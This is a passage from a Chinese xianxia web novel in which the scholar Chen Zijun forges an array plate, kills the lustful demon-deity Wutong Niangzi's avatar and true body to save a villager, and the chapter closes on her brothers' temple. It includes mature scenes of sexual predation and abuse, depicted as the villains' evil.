“老童,我和你不同。”他咽下茶水,用一种几乎没有平仄起伏的语气,缓缓说道,“你在白崖村已经生活了数百年,我只住了短短三年,我对这儿的感情,自然远不如你深厚。” 童正正要说话,陈子均抬起一只手,打断了他,“你且听我说完。” “首先,五通娘子不是普通的妖怪,她走的是邪神系的修炼路子——有人向她许愿,她替许愿者实现愿望,再从中汲取信力。” 所谓邪神,听起来颇为骇人恐怖,但本质仍是某种妖鬼或是邪修。 他们不通过自己修炼,而是发展信徒,进行淫祀,从中获得信仰之力,再将信仰之力转化成修为。 这世上的凡人多数愚昧无知,短视贪婪,只要邪神能满足他们的心愿,便不去思考需要付出何等的代价,是以,信仰邪神的愚民不在少数。 “邪神与许愿者的交易一旦达成,便会触动冥冥中的天机,其中更牵涉到极其复杂的因果之力。所以,你若要强行破坏五通娘子和许愿者的交易,便会被卷入不必要的因果中,将来麻烦无穷无尽。” 童正的脸色微僵。 因果! 这两个字,看似简简单单,但对修道者们来说,却有着无法忽视的巨大震慑之力。 善恶之报,如影随形,三世因果,循环不失。 一旦沾染上了恶因,可能用三生三世的时间,都无法摆脱其影响,甚至可能形成心魔,从此牢牢阻在修行之路上,再也难以跨越。 童正垂下眸子,许久后,方叹了一口气,“世事岂能尽如人意,但求无愧于心……秀才你不想沾染因果,我不在意!我来管便是!” 闻言,陈子均将杯子往桌上一搁,看着他,叹气道,“你这一千年,莫非真是都活到土里去了?” 童正一怔,“你说什么?” 陈子均眯起眼,字字分明地说,“我知道,你担忧阿庆被五通娘子害了性命,所以想要出手阻止,但你也应听说过,五通娘子极其记仇,睚眦必报。” “没错,灭她这个化身不难,但你这次杀了她的化身,必会惹来她的无穷报复!” “我问你,你可知道她本体藏匿于何处?有把握躲过她本体的报复么?” “退一步说,就算你有本事斩草除根,连她的本体一块儿灭杀,但你莫非忘记了,五通娘子的靠山,是更大更凶残的麻烦!” 听到此处,童正的一张老脸刷地白了。 没错,他竟忘了如此重要的事! 五通娘子身后之人…… 比五通娘子,还要恐怖百倍、邪恶百倍! “你觉得,以她的靠山的性子,若是五通娘子出了事,不会迁怒到白崖村么?” 陈子均吐出的每一个字,都如千斤重锤,狠狠地锤在童正的心口上。 而每锤一下,童正的那张老脸,也更白上一分。 整个人,更是不由自主地颤抖起来! “几个月以后,我就要离开,到时候,谁来护住白崖村?”陈子均沉声质问,“你吗?凭你一个,会是她身后之人的对手么?!若五通娘子这次满足了,白崖村便不会有额外的危险,但你要是轻举妄动,说不定整个白崖村都会遭殃!” 童正的满头白发,慢慢垂落下去,颓然叹了一口气。 “是啊……秀才言之有理,是我将此事想得太过简单。但……莫非真的束手无策,只能眼睁睁看着五通娘子害人性命?秀才,你对白崖村人,真的半点感情都没有么?” 陈子均沉默片刻,叹了口气。 五通娘子的化身,在他眼中,不值一提。 即便是五通娘子的靠山,对他来说,也造不成多大的威胁。 最难缠之处在于,无论是五通娘子,还是她身后之人,走的都是邪神系的修炼路子——这一类的家伙,多以化身代替本体在外活动,收集愚民的信力,本体则藏匿得极其隐秘,绝不轻易露面。 正因此,虽然正道修士对各路邪神是深恶痛绝,甚至多次联手清剿,但千万年来,他们依旧没有灭绝,顶多暂时沉寂一阵,等找到机会,就再次死灰复燃。 让陈子均略感棘手的,也同样是这一点。 五通娘子的实力离真正的邪神还远得很,但即便他们这次灭杀了五通娘子的化身,五通娘子的本体也不会受到多大的伤害,却会激起她的滔天仇恨和疯狂报复。 到那时,白崖村恐怕连一个活人都剩不下。 他在白崖村待了三年,多少也生了些感情,自然不会希望这里真有什么意外,但正如他之前对童正所说,他不可能一辈子待在这里,这才是最难办的地方。 陈子均闭目沉吟,右手的食指在桌面上轻轻敲击。 童正也不由得屏住呼吸,连眨眼时都放缓了动作,不敢太过用力。 他知道,陈子均正在思考,所以生怕发出半点声音,惊扰了他的思路。 也不知过了多久,陈子均终于缓缓地睁开了眼。 “倒是有上中下三策,你来选一个吧。” 童正一愣,居然还有上中下三策? “……秀才先说上策。” “这上策,依旧是置身事外,等五通娘子采补到满足之后,自会离去。” “……中策呢?” 陈子均笑了一笑,道,“中策么,就是老童你去和五通娘子做个交易,让她放过阿庆,来采补你。反正你有千年修为,被她采补几次也不至于丢了性命。不过,听说五通娘子只喜欢年轻健壮的青年,在做交易之前,你务必记得先变个模样,这样才能确保她会答应。” 【最近几天追读有些疲软,看样子周五上架了,先提前求一下,周五大家要是能帮忙给个首订,感激不尽,拜谢拜谢。】 第67章 【求追读】传送神通 童正的老脸一阵疯狂抽搐,欲哭无泪,“秀才,都什么时候了,你还有心情说笑?” “我没有说笑,到时候阿庆性命无虞,五通娘子也得以满足,可谓双赢。”陈子均依旧神色肃然,“唯独得委屈老童你,要做出小小的牺牲,所以才是中策。不过你有千年修为……咦,你的脸色为何如此难看,难不成,你还是个童子?” “秀才请说下策!” “真不选中策?你有千年修为……” “不选!” “嘘,你小些儿声,“陈子均提醒,“别惊到我娘子。” “……秀才,你快点说下策吧。” 陈子均眯起眼,这一瞬,原本的温润退去,神情冷峻起来,语气中,更是杀意凛然。 “这下策,就是想办法找到五通娘子的本体,并且在不惊动其身后之人的情况下,将她的本体和神魂都彻底灭杀,如此一来,方能永绝后患。但机会只有一次,若让五通娘子逃脱,或是惊动她身后之人,白崖村绝逃不过其后的报复。” 童正也凛然一震:“若选这下策,该怎么做?” “我可对她的化身进行搜魂,找出她本体的藏匿之处……“顿了顿,陈子均继续道,“问题在于,她的化身与本体的神魂之间必有联系,一旦化身遇险,本体就会立即察觉,从而逃走或是联系救兵。” 闻言,童正也深感棘手,但当他瞥了一眼陈子均后,若有所悟,“秀才既然提出这个下策,应有解决之法?” 陈子均点点头,“我会先炼制一个阵盘,其上的阵法会干扰、模仿她的化身与本体之间联系,从而暂时瞒过本体,虽说我手中的材料不足,至多隐瞒拖延四五个呼吸的时间,但应该也够了。等找到她本体的位置之后,我会立即以传送神通过去,并封锁空间,隔绝她与外界的联系,以免惊动她身后之人。” 童正最近震惊的次数已经够多了,几乎已经习惯,但此刻听到他说的话之后,依旧吓了一大跳,吃吃道:“秀才、秀才你竟然会传送神通?!” 神通不同于法术,它的难度和威力,都要远高于普通的法术,同时无法通过传授习得,只能依靠自身领悟。 正因此,神通可视为大道法则的某种雏形! 比如普通的水系法术,或许能让一条小河流倒卷,但一个水系神通修炼到高深处的修士,抬手之间,便可调动整片汪洋!而神通既然如此强大,其施展起来,所需的魂力数量也是惊人无比。 是以,修士有个境界叫“神通境”,只有能领悟与使用神通的大修士,方能达到此境界。 而各类神通之中,又以空间神通、传送神通等几种神通,极难修炼,甚至,几乎只存在于传说中! 就以传送神通为例,传送的方向不同,地点不同,距离不同,神通的施展之法就必须进行调整改变。 在如今的修行界里,传送阵盘,或是传送旗、传送符,都颇为常见,但这类传送物品,都只是靠印刻在宝物中的阵法变化来传送,只能通向其预先定好的位置,或是随机传送,区别只在于传送距离长短和消耗的魂力不同。 而传送神通便不一样了,传说中,只要魂力足够,传送神通的使用者便能随心所欲传送到任何位置! 掌握了传送神通的人,等于只要不被瞬间杀死,遇到危机便能立即逃离,堪称立于不败之地! 但要想练成传送神通,必须对空间道则拥有惊人的理解,不仅需要在瞬间计算出传送节点的位置,而且不能有分毫差错,否则空间落点一旦计算错误,将自己传送到错误的位置还是轻的,更可怕的是将自己传送到什么岩浆之中、石头之中,若错误过于严重,还可能让自己整个人都崩解在虚空内! 陈子均笑了一下,“略懂。” 原来,秀才至少是“神通境”的大修士…… 等会儿,神通境的上面是什么来着? 悟道境? 过了半晌,童正才回过神,这时候有比震惊更重要的事情要做。 他仔细思考了一番陈子均的话,点点头,“既然秀才觉得可行,那应该问题不大。” 陈子均抬头看了眼夜空,一轮弯月已经高悬。 “炼制这个阵盘需要花费我半个时辰,待我娘子睡着之后,我就会开始,你先回去吧,炼制好之后,我会传音给你。只是这一会儿,她应该不至于就要了阿庆的性命。” …… 送走童正,陈子均折身回到卧房。 在踏入卧房的那一瞬间,他脸上的神情便换成了和平常一般的温和。 这时,胡翘翘也刚好练完了一个大周天,立马扑进陈子均的怀里,搂住他的腰,仰脸望着他,邀功道,“相公,翘翘认真地练了好久,是不是很乖呀……” “确实很乖,”陈子均笑了,夸奖道,“最近不会练到一半就睡着了,进步很大。” “可能是因为修炼了的原因吧,最近我没那么容易困啦,”胡翘翘眉眼弯弯地回答,“而且还越练越舒服,感觉像是泡在水里一样呢。” 陈子均知道,这是太阴星力滋润命魂的作用起了效果,“嗯,这就好,以后要更加努力修炼。” 胡翘翘眨眨眼,“你不奖励翘翘么?” 陈子均问:“怎么奖励?” 胡翘翘伸出一根细白的手指,轻勾着他的衣带,边眼波盈盈如水地望着他,边又轻又软地说,“相公先到床上来嘛,来了翘翘再说给你听……” 陈子均刚躺下,她便扎进他的怀里,整个人与他贴在一块儿。 紧接着,一个软软热热香香的小东西就钻进了他的嘴里,堵住了他的唇。 陈子均抱住她的双臂,不由得又紧了一紧。 等这一吻结束,胡翘翘已经绵软地瘫在他的怀里,轻轻喘着气,软软道,“相公,我是不是生了什么病呀,怎么每次和你亲亲抱抱……就会感觉很奇怪……” 她也不明白,为什么每次和相公亲嘴儿或是被相公抱紧,还有,被他的手抚过后,身体就会越变越软,逐渐提不上劲,还会有一种不知从何处生出的酥麻难耐的感觉。 这种感觉又舒服、又难受,让她既有些欲罢不能、神魂颠倒,又有些抓心挠肝、痒入骨髓,却不明白该如何缓解。 “没事,是你现在的身体太虚弱了,以后便会好的。”陈子均抚着她丝缎般的长长秀发,温声道,“早些睡吧。” 第68章 炼制阵盘 另一边。 王婶子匆忙整理出一间空房,让那叫孙小兰的姑娘暂时安顿。 天色已晚,一家人各怀心思地回房入睡。 阿庆躺在木板床上,脑中萦绕着孙小兰清秀动人的模样,只觉得心中怦然,半晌才有了倦意。 正要合眼,忽然房门被轻轻敲响,他疑惑地问道:“谁啊?” “是我……”一个娇柔婉转的声音自门外传来,“阿庆哥,能开个门吗?” 阿庆连忙起身,将房门打开。 孙小兰站在门口,道了个万福,轻声道:“吵醒阿庆哥了,真对不住。” 她原本就颇为美貌,体态娇柔,这一下又显得极为温婉。 阿庆的脸瞬间红了,错开视线,结结巴巴地道:“没,没事,我本来就还没睡着。对了……这么晚,孙姑娘你找我有什么事情吗?” 此言一出,孙小兰的脸上顿时娇羞无限,她垂下头来,长睫毛在脸上留下一片阴影,更显脆弱,“我第一次在别人家中留宿,有些害怕……阿庆哥,你能陪我一块儿睡么?” 阿庆一听,顿时张口结舌,面红耳赤。 “这……这似乎不太……” 尽管四周幽暗,但阿庆依旧能看出,孙小兰的那张芙蓉般玉面上几乎红得快要滴出血来,她咬唇轻声道,“我知道,这样有些与礼不合,但我迟早都是阿庆哥的人……而且,我一个人待着,真的很是害怕……天亮之前,奴便回自己的房间,……” 听她这么说,阿庆心脏砰砰跳,怎么还说得出拒绝的话,将门打开。 “好,你进来吧。” 孙小兰缓步走进房间,然后转身,轻轻将房门给关上。 她背影窈窕动人,阿庆想到今晚便要和这个孙姑娘孤男寡女,同处一室……或许,还会发生点什么…… 忍不住咽了下口水,浑身都有些躁动起来。 这时,孙小兰转了回来,同他正面相对。 然后,她抬起眼看着他,笑了。 阿庆忽然打了个冷颤。 是他的错觉么? 他怎么觉得,此刻孙小兰看向他的眼神充满了兴奋和欲望,那张秀美的脸看起来更有几分怪异、瘆人之感。 孙小兰伸舌,轻舐唇瓣,嘴角挂起了一丝奇异的笑,“阿庆哥,我们来做些快活的事儿吧……“ 她缓步走近,那双分明十分纤瘦的胳膊,但此刻,竟一把将阿庆这个一百多斤的大男人轻飘飘地拎了起来,往床上一丢。 阿庆刚想挣扎,就惊恐地发现,自己全身僵硬,连一根手指头都动弹不得。 不,不对,还有一个地方能动弹。 它竟自己高挺了起来。 孙小兰发出银铃般的笑声,一把撕扯掉了他的衣服,毫不客气地翻身骑了上去。 * 渐渐地,耳边胡翘翘的呼吸声变得平缓起来。 陈子均低头,看着她睡熟的小脸。 长睫轻颤,粉润的唇微张,从中缓慢地轻吐出带着淡淡香甜的气息。 他看了会儿,方吻了吻她光洁的额头,带着淡淡粉色的脸颊,正要起身,发现她的手里还揪着他的袖角不曾放开。 陈子均小心地将那几根细白的手指轻轻掰开,挪至她自己的腰间,才从床上站了起来。 推门的同时,他身形一闪。 再出现时,已经到了山林中。 此时,他黑眸掠过四周,最终停留在一块水缸大小的石头上,脸露沉思之色,片刻后,点点头。 “这块还算凑合。” 陈子均抬起手,在虚空中轻轻一托,他目光所注视的这块石头本应有数百斤重,但此刻,竟如羽毛一般轻若无物,随着这一托,缓缓飘起,悬浮在了半空之中。 陈子均掌心向上,一团青色火焰从他掌心跳跃而出,这火焰极其奇异,表层并不散发热量,反倒冒着阵阵冰寒之气,但其内部的温度,却又高达成千上万度,而在内部的最深处,却又是一小簇冰寒到极致的深蓝色的火焰。 紧接着,这火焰攀上石头,立刻将其全部包裹,不断地焚烧起来。 石头瞬间被高温融化,却又在冰寒之火的作用下瞬间凝固,眨眼间,这样的过程便重复无数次,将其千淬百炼,石头的体积以肉眼可见的速度飞快缩小。 直至一块水缸大的石头,渐渐凝缩成了扁圆的铜镜大小,而原本灰暗、粗糙的表面,也变得宛如上等玉石一般温润明亮,陈子均掌心中的火焰方才熄灭。 到了这一步,阵盘的底材便算是炼制完成了。 所谓阵盘,就是将常用的阵法刻在特定的材料上,使用时注入魂力便可快速激发,省去了临时刻画阵法的麻烦。 普通阵盘的底材多为玉石、金属或是普通石料与木头。一般来说,玉石阵盘的效果最好,但易碎且原料昂贵,所以属于阵盘中的奢侈品。金属阵盘的效果和价格都适中,保管方便,只是制作起来比玉石阵盘要困难一些,属于中高档。而石制和木制阵盘效果最差,但也最便宜,走的是价低量大的消耗品路线。至于某些极品金属、高端玉石,甚至罕见的神金,神木,就不在一般讨论范围之内。 陈子均现在就是将一块普通山石稍加炼制,当做待会儿要做的阵盘的底材。 他手头上不是没有炼制阵盘的极品材料,但毕竟是拿来对付五通娘子的一次性用品,用太珍稀的材料未免不划算,所以就随便整了块石头糊弄过去。 底材制作好,接下来便是刻制阵法了。 陈子均沉吟片刻,手中快速打出一个个符文。 此刻,那块石盘彻底地被青色光芒包裹,在这青芒中,隐约可见无数符文在其内横穿纵连,密密麻麻缠绕出一条条玄妙的轨迹,每一道轨迹,似乎都带着无法以言语阐述的奥妙玄奇。 这一过程,约莫持续了小半个时辰,最后,一个个符文终于慢慢平静下来,开始融合进阵盘之内。 等到最后一个符文落入其中,阵盘表面突然泛起一层水波般的光华,一阵波动之后,渐渐平息,表面又恢复了那种平滑如镜的模样,但若有人定睛仔细看去,便会发现,其内隐隐有密密麻麻的符文以某种特定的轨迹在周而复始地运转。 至此,阵盘便彻底炼制成功。 陈子均伸手,阵盘缓缓落入他的掌心。 尽管材质一般,但这阵盘的完成程度还是比他想象得要再完美少许,应该能将混淆五通娘子本体与化身之间的感知联系的时间延长到六息。 实际上,无需阵盘帮助,他也能做到这点,但行事还是低调为上,呈现在明面上的越少越好。 “好了,该去找五通娘子了。” 第69章 会长针眼 三更将过,王婶子起来寻找溺壶。 忽然,她听到某种怪异声音自外飘来。 此刻夜深人静,再细小的动静都会被放大无数倍,王婶子顿觉古怪。 这是什么声音,又从哪儿来的? 凝神细听片刻后,她突然吓了一跳—— 那声音的源头,竟似乎是她儿子阿庆的房间! 王婶子不安,小心翼翼地推开房门。 没了房门的阻隔,那声音便更响了几分。 果然是从她儿子的房间里传出来! 身为过来人,王婶子愕然察觉,这声音竟然像是在…… 王婶子老脸发红,亦是惊愕到难以置信。 这才第一晚,儿子和那个孙姑娘居然就如此肆无忌惮,简直……简直太过荒唐、太不像样了! 一时间,她竟不知是该去敲门,提醒他们小声些儿,别惊扰到了邻居,又或者推门责骂两人不知羞耻,还是佯做不知,回去睡觉的好。 王婶子站在院中,踌躇不定,却没注意到院门的门闩自动缓缓飞起,然后,又轻轻落地,一丝声音也未发出。 院门被人从外推开,三道高矮错落的身影出现在门外、 而后,其中一人轻轻“咦。”了一声。 王婶子扭头看去,顿时一愕,“秀才公,你、你怎么来了?” 此刻,站在门口的三人中,除了秀才陈子均外,还有一个慈眉善目的老翁,一个玉雪可爱的红衣小女娃,看着都是人畜无害的模样,只是这两人,她怎么从没在村里见过? “大坏蛋,你不是说带我来吃好吃的么?好吃的在哪?”玉珠儿眨了眨大眼,有些好奇地盯着王婶子,舔了舔嘴唇,“是这个胖大妈吗?” 虽然肉多,但看着不太好吃的样子,难道实际很美味? 陈子均淡淡道,“不是。” “那好吃的在哪?” 陈子均往阿庆房间一指,“喏,在那里。” 玉珠儿顿时大喜,蹦蹦跳跳,跑向门口。 “不行——”王婶子连忙扭头,阻止的话还没说完,玉珠儿已经伸出小手,将门推开,格格笑道,“好吃的,我来啦!” 下一瞬,一副既诡异,又淫靡的画面出现在王婶子的眼前。 只见阿庆躺在床上,原本健壮的身体,突然干瘪枯瘦了一大圈,脸色惨白,几乎和死人一般毫无血色,只有口中断续发出的痛苦哀叫声,证明他还活着。 而此刻,那个叫孙小兰的女人,身周黑雾缭绕。 玉珠儿歪着脑袋,小脸茫然又好奇,“这是在做什么?” 童正吓了一跳,连忙伸手把玉珠儿拉过来,又捂上她的眼睛,严肃地道:“小孩子不能看,会长针眼的。” 玉珠儿愤怒鼓腮,“我不是小孩子!” 只是长得矮一点! 童正耐心道:“乖,乖,不能看。” 王婶子亦是被这诡异一幕惊得浑身寒毛炸起,她护子心切,未曾多想,便冲进房间,朝孙小兰扑了过去。 “你在干什么?!我儿子怎么了?!” 这时,孙小兰动作稍顿,扭头朝她看了一眼,嘻嘻一笑。 王婶子的身子就不由自主地往后飞起来,重重撞在墙壁上,疼得她全身都如散了架,这才意识到不对,骇然道,“孙姑娘,你……” “我不是孙姑娘……”孙小兰就这么一丝不挂地站了起来,慢悠悠地笑着,那笑容透出一股动人的妖媚与淫荡,“我是……五通娘子。” “五通、五通娘娘?”王婶子双眼瞪大,她茫然失措,牙齿格格打战,“你、你将我儿子怎么了?” “你应该没忘记吧,”五通娘娘抬起一条白嫩的长腿,脚掌轻踩着阿庆的胸口,笑盈盈地道,“我们说好的,我给你一百两银子和一个儿媳妇,你儿子就是我的了。” 王婶子失声道,“不对,你说的明明是公鸡,你要的是公鸡……” 喊了两声后,她突然一愣,自己的儿子,似乎就是属鸡! 对方说的公鸡,指的其实是自己儿子! 五通娘子咯咯笑道:“真是愚蠢的凡人啊,你难道真的相信天上会掉馅饼么?” 王婶子猛地明白了,这五通娘娘压根就不是什么善神,恐怕就是个妖怪!自己也不是交了好运,而是被贪心所害,引狼入室! 扑通一声跪下,她一边磕头,一边痛哭流涕,“求求你,我把银子都还给你,放过我儿子吧!你要什么我都给你,饶了我儿子,你要我怎么做都可以……” “太晚啦~”五通娘子笑得分外妖娆,邪气满溢,“我五通娘娘这里,向来是银货两讫,概不反悔……” 她话还未说完,眼角余光忽然瞥到一条身影,顿时愣在那里,呼吸停顿。 什么阿庆阿好的,完全被抛在了脑后。 这一刻,她的脑海中便只有一个念头——好俊的书生! 与此同时,遥远的某处奢华地宫之内。 一名美艳女子——五通娘子的本体,正同样与一名男子颠鸾倒凤,那男子却是目光呆滞,连挣扎都已经不会。 突然,她猛地停下,兴奋得面色扭曲,目光投向虚空中的某处。 “好俊的书生!” 这么多年来,她品尝过的男人无数,却还是第一次见到如此俊美的男子! 再低头看一看身下那个已经奄奄一息的男人,这男人原本也是某地有名的美男子,但此刻与那书生一比较,就堪称云泥之别了。 她眯起眼,顿时心生嫌弃,一手扼住男子的咽喉,直接将其吸成了干尸,再扔至一旁。 而那里,还同样歪七斜八地倒着数十具类似的干尸。 透过化身之双眼,五通娘子死死地注视着那书生。 丹田深处,一股让人心痒难耐的邪火蹭地燃起。 她、她一定要—— …… 第70章 斩草自要除根 白崖村。 五通娘子伸舌轻舐唇瓣,目光深处中跃跃跳动着意乱情迷,“你叫……” 但她才吐出两个字,却看见那书生淡声道:“开始!” 与此同时,一旁的白发老头儿眼中闪过精光,放开了那小女孩儿,手中突然多出一个阵盘,明亮阵纹闪烁而起,显然,其上的阵法已经被激发。 这阵盘是做什么用的? 五通娘子一怔。 在她还未反应过来之时,陈子均已是踏出一步,这一步,既不霸道狠厉,也非雷霆万钧,反而不带半点烟火气,完全波澜不惊,但就是这么安安静静,毫无波澜的一步,却快到了在场任何人的眼力都捕捉不及,更如一缕春风,拂面不凉,却又无孔不入,令人避无可避! 五通娘子只觉得眼角余光一闪,下一刹那,她已经被一只大手扼住了喉咙,她体内的妖力也如被什么无形的大锁禁锢住一般,连一丝一毫都无法调动,完全失去了反抗之力! 一息! 五通娘子骇然至极,睁大双眼地问道,“你是什么人?!” 陈子均并未回答,只是将另一只手放在她的额头之上,施展搜魂之术,快速翻查她的记忆。 五通娘子忽然明白了他要做什么,咯咯咯娇笑起来,“我知道了,你想寻找我本体的藏匿之处!太天真了,莫非你没听过,我们邪神一系,化身与本体息息相连,若是化身死亡,或是我一个念头,本体就能得知你们的目的!即便你以搜魂之术获悉了我本体的藏身处,在你赶去的那段时间之中,也足够我的本体及时离开或是通知五位兄长!” 陈子均却依旧对她的话置若罔闻,突然他手指停顿,神色似笑非笑地挑起了眉:“找到了!” 二息! 五通娘子轻嗤一声,催动与本体的联系,下一刹那,她的双目猛的收缩。 “怎么、怎么会联系不上?!” 她与本体之间的联系,竟然被某种她不知为何的力量给中断,无论她如何尝试,都如石沉大海! 她呼吸急促,睁大了眼,视线落在那白发老头手中的阵盘之上,此刻终于隐约猜测到了这阵盘的用途,她瞬间颤抖起来。 三息! 不过很快,五通娘子又很快归于平静,唇角再次邪异地勾起。 “原来你们也有准备,竟然能切断我和本体之联系,是我小觑了你们!”她笑道,“不过,你们还是太过天真,想从这里赶到我本体的藏匿之处,即便速度再快,也需要好几个时辰,到那时,我本体早已察觉异样,再通知她的五位兄长,我劝你还是及时停手,看在你如此俊美的份上,只需陪我本体快活一段时间,这件事便……” 四息! 咔嚓。 她话还未说完,忽然便听到颈骨发出清脆之声,视线拧转,竟然一百八十度地看到了自己的身后。 五通娘子脑海嗡鸣,一片空白,眼中露出骇然与惊恐。 发生了什么? 这个念头刚浮现出,她便永远地失去了思考的能力。 “拿去吧。”陈子均一抬手,将她扔给玉珠儿,随后运转传送神通,身形蓦地在原地消失。 五息! …… 地宫之内。 五通娘子蓦地娇躯一震,红唇张开,“哇!”地吐出一口血来。 一双美眸睁大到了极致,里面瞬间浮现出极度的震惊,“怎么回事,我的那个化身竟然……被杀了!?” 化身与本体息息相关,化身一死,本体的神魂也会受创! 只是,方才她和那化身的联系还一直毫无异样,怎么转眼化身就出了意外,她却连化身的示警都没收到? 正震惊间,眼前虚空蓦地一闪,紧接着,一道颀长的身影在她身前数米远的位置浮现而出。 这一下,完全出乎了五通娘子的意料。她下意识地后退了步,等看清来者俊美绝伦的面孔后,她的脑海嗡鸣,被震惊淹没。 “这不是方才那书生么?怎么会突然出现在这儿?他是怎么来的?!” 五通娘子呆在那里,不自觉地将心中的疑问喃喃出声。 陈子均并不答话,目光冷漠,一步迈出,直奔五通娘子而去,同时抬手向她抓出。 五通娘子的瞳孔微缩,快速后退的同时,手指一弹。 这寝殿内原本悬挂着许多粉色轻纱,此刻这些轻纱突然升腾而起,仿若淡粉色的雾气弥漫在四面八方,铺天盖地地朝着陈子均裹去。 原来这轻纱也是一样法宝,其看似轻盈薄透,却是以灵蚕丝炼制而成,刀枪不入,水火不侵,又具备强大韧性,一旦被捆住,便极难挣脱。直到这时,她还舍不得立即下杀手,打算先困住这俊美书生,回头再好好调教一番。 一眨眼的功夫,轻纱已经交缠而至,变成一个临时牢笼将陈子均困住。 但在接下来的一瞬间,这些轻纱都急剧的颤动起来,如水波一般绽放出无数波纹。 嗤嗤嗤的无数声爆响。 这些轻纱瞬间爆裂开来,变成无数条往外溅射的碎片。 碎片之中,显出一道身影。 什么?! 五通娘子娇躯退后数步,一股强烈的危机感忽然涌上心头,一把七彩羽扇出现在她的手中,每根扇羽都尖锐无比,闪着金属般的冷厉光芒,这把羽扇是她以自己的尾羽炼制而成,每一根尾羽又可化为万千尖针,开金裂石,还可随心操控,堪称威力无穷。 此时她才真的动了杀意,再俊美的男人,也比不过自己的安危重要! “去!” 五通娘子轻叱一声,扇羽纷纷脱离扇柄,化作无数道寒光,呼啸着直奔陈子均而去。 陈子均面不改色,心念微动。 下一刹那,五通娘子的双眼睁大到了极致,她赫然见到,那些寒光在临近对方的那一刹那,竟脱离她的控制,齐齐调转方向,以更快的速度,朝她冲来! 噗噗噗! 这速度快到不可思议,速度之快,她甚至连施展防御法宝都来不及,只能极其狼狈地就地一滚,才避开了大部分寒光,饶是如此,那雪白娇躯上依旧多出了数处深可见骨的伤口,全身鲜血淋漓,看着十分狰狞可怖。 五通娘子双目如喷火,“你究竟是什么人!” “你不需知道。” “我与你无冤无仇,你杀了我的化身还不够,竟要对我本体下手?!” “斩草自要除根,不连你本体一块灭杀,难道等你回来报复?”陈子均平淡反问。 “……”五通娘子深吸口气,厉声道,“小子,你可知我五位兄长是谁?” 第71章 五通神 陈子均笑了笑,“大名鼎鼎的五通神,我怎会不知。” 五通娘子先是一怔,接着眸光生寒,厉声威胁,“既然知道,现在罢手还来得及,我可既往不咎!否则,等他们得知今日之事,你必死无葬身之地!” 说话的同时,她的手中已经悄无声息地捏住了一片传送符。 她本以为对方敢对自己下手,很有可能并不清楚自己的靠山。没想到,对方竟一口道出了她五位兄长的身份! 如此推算,对方的实力至少不会弱于五位兄长太多,否则,也不会如此有恃无恐。 没有把握之事她从来不做,当下之计,走为上。 她手中这片传送符与普通传送法宝不同,是她的保命之物。 普通的传送法宝需要两三息的时间才能生效,但这片传送符只要捏碎,便能生效,而其价格,也是普通传送法宝的数十倍。 五通娘子有些肉痛,等她脱离危机后,必要让五位兄长将眼前这俊美男子生擒下来,炼为自己的炉鼎、日日折磨,方能出气! “放心吧,他们不会知道的。”这时,陈子均笑了笑,淡淡开口,“因为,这里的空间已被我彻底封锁,你手里的传送符也没用处。” 他话音刚落,四周立刻出现了数道光柱,刹那间如同封印,将整座寝殿牢牢封锁在了其内。 “什么?!”五通娘子面色大变,她猛地捏碎手中的传送符,一阵宝光闪起,但其暗灭掉时,她发现自己依旧站在原地。 五通娘子呆在那里,心底瞬间浮现了难以形容的恐惧之意,对方竟然连这一步都早已料到,莫非今日她真是在劫难逃了么? 这一瞬,五通娘子的身体都颤抖了,无法形容的恐惧直接在她的心中掀起了风暴。 她修炼的邪神一系最为擅长藏匿,这数百年来,不是没人想要对付她,但绝大多数连她的本体都找不到,毫无威胁,反而她会以极其残忍的手段报复回去。 她从未想过,自己还有像此刻一般,死亡临头的一天! 不,她不要死! 五通娘子猛地颤抖起来,恐惧到了极致,她边后退,边颤声道:“不要杀我,我将我所有宝物都给你!不要杀我!” 声音中的哀求与恐惧,几乎化为实质。 她是真的怕死到了极点! 陈子均平淡道,“不杀你,等你报复么?” 五通娘子身体颤抖,她发现自己已经无路可退,直接跪下,“我愿以神魂起誓,若存一丝报复之心,必神魂俱——” 余光见到陈子均似是目露迟疑,她蓦地跳起来,掌心中凝聚一团幽深黑光,仿佛化作了黑色的怨气之海,翻滚咆哮,其中还有无数痛苦面孔在哀嚎,狠狠打向陈子均的胸口。 这一掌,直接消耗了她数百年积攒的信仰之力中的七成。 对邪神一系来说,信仰之力是最为珍贵之物,拥有的信仰之力越多,邪神的力量便越强,也只有获得了巨量的信仰之力后,方能凝聚出神种,成为真正的邪神。 这一掌打下,等于她数百年的辛苦化为乌有,但和性命比起来,也顾不得可惜了。 轰隆! 这一掌结结实实地打在了陈子均的胸口之上,巨大的威力轰然爆发。 五通娘娘的唇角勾起一丝狰狞弧度,“你这是找死!真当我是软柿子好捏不成?“ 就算是她兄长在这里,没有防备的情况下挨了这一掌,也要受重伤! 但下一刹那,她忽然发现,她这一掌,虽然打在对方的身体上,但别说让对方重伤了,那七成的信仰之力,就仿若泥牛入海一般,连半分浪花都没激起! “该死的,怎么会这样!” 五通娘子骇然到了极限,一股深深的恐惧再次将她整个人生都淹没,因为她看到了陈子均的唇角,缓缓地勾了起来。 仿若看到了什么极其愚蠢滑稽的表演一般,陈子均笑了。 他抬起右手,直接握住了五通娘子方才打在他胸口的那只手,某种恐怖之极的气息释放出来,刹那之后,五通娘子感觉到无论是她残余的信仰之力也好、肉身的生机也好,都在飞快地从那只手中流逝,不,不是流逝,而是在被对方疯狂侵蚀! “不、不要……”这一次,五通娘子终于感觉到死亡的阴影彻底笼罩,这一刻她无比后悔,若早知那白崖村有这么一个怪物存在,打死她也不会去招惹。 但后悔已经晚了,她丰腴白嫩的女体,开始枯萎凋零,甚至连再次求饶的话都说不出,很快便无法维持人形,化成一只五彩羽毛的锦鸡,然后继续干瘪下去,最终变为飞灰消散。 …… 千里之外,临江镇府。 五通庙。 这座庙祭祀的便是五通神,大门处一左一右地挂着两条木牌。 左边云“有灵有神辉光照八方祐国而裕民。” 右边为“如应如响血食临万众祸淫且福善。” 大殿中,供奉着五尊形象各异的神像,每一尊都足足有两层楼高,而在每尊神像的背后,还有一个美貌女子的雕像,这五尊神像,代表的便是五通神。 五通神淫邪好色,若信徒想要实现愿望,就需要让家中女眷供他们淫乱,是有名的邪神淫祀。 尽管如此,它们也同样慷慨大方,若你让它们满意,它们就会赠予你大笔财富,因此,民间信奉五通神的贪婪愚夫亦不在少数。 在这庙宇的内部深处空间,修建有一处奢华无比的大宅,每一处的用料都极尽奢侈,雕梁画柱、金碧辉煌。 但在大厅内的景象,此刻却是淫乱之极。 四个赤身男人正在一起蹂躏几个年轻女子,也不顾她们已经遍体鳞伤。而大厅的其他位置,还躺着十几个年轻女子,都是面色苍白,衣不遮体,其中几人甚至奄奄一息,昏死过去。 